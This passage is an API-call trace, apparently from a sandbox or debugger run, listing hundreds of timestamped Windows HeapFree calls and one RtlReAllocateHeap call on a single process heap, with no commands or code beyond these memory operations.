lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0196.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0196.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0196.485] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0196.490] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.490] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.490] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0196.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.781] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.781] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.784] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.787] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.788] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.788] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.789] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.789] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.794] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0196.795] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.798] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.798] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.798] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0196.801] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.801] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.801] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0196.804] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.804] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.807] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.807] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0196.807] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0196.807] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0196.809] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0196.809] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0196.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.972] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0196.972] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.143] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.143] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.144] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.144] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.144] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.146] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0197.146] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.147] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0197.147] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0197.147] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.148] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0197.148] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.148] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.149] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.151] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.151] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.155] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.155] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0197.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0197.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0197.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0197.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0197.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0197.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0197.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0197.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0197.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0197.428] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0197.428] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0197.428] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0197.428] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0197.432] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4afe020, Size=0x100000) returned 0x538c020 [0197.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0197.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0197.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0197.624] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0197.998] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0198.002] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0198.002] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0198.004] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.004] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0198.004] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0198.006] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.006] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0198.007] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0198.007] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0198.007] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.007] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.008] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.009] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.010] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.011] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.012] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.014] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.015] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.016] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.017] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.017] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.018] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0198.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0198.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0198.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0198.085] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.090] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.091] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.092] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.093] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.094] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.095] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.096] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.096] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.097] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.098] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.104] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.105] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.107] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.107] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.108] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.108] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.109] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.109] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.112] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.112] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.113] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.114] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.114] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.115] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.115] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.115] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.116] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.116] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.117] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.117] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.117] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0198.117] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0198.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.128] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.129] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.130] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.131] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.132] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.133] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.134] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.136] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.138] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.143] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.375] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.377] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.378] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.381] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.386] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.387] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.388] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.388] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.389] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.390] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.392] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.392] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.393] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.393] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0198.394] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.394] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0198.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0198.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0198.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0198.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0198.401] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0198.408] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.416] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.416] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0198.416] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.421] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.751] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.751] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.752] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.753] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.754] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.754] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.755] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.757] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.757] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.758] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.759] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.760] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.760] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.761] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.762] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.762] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: 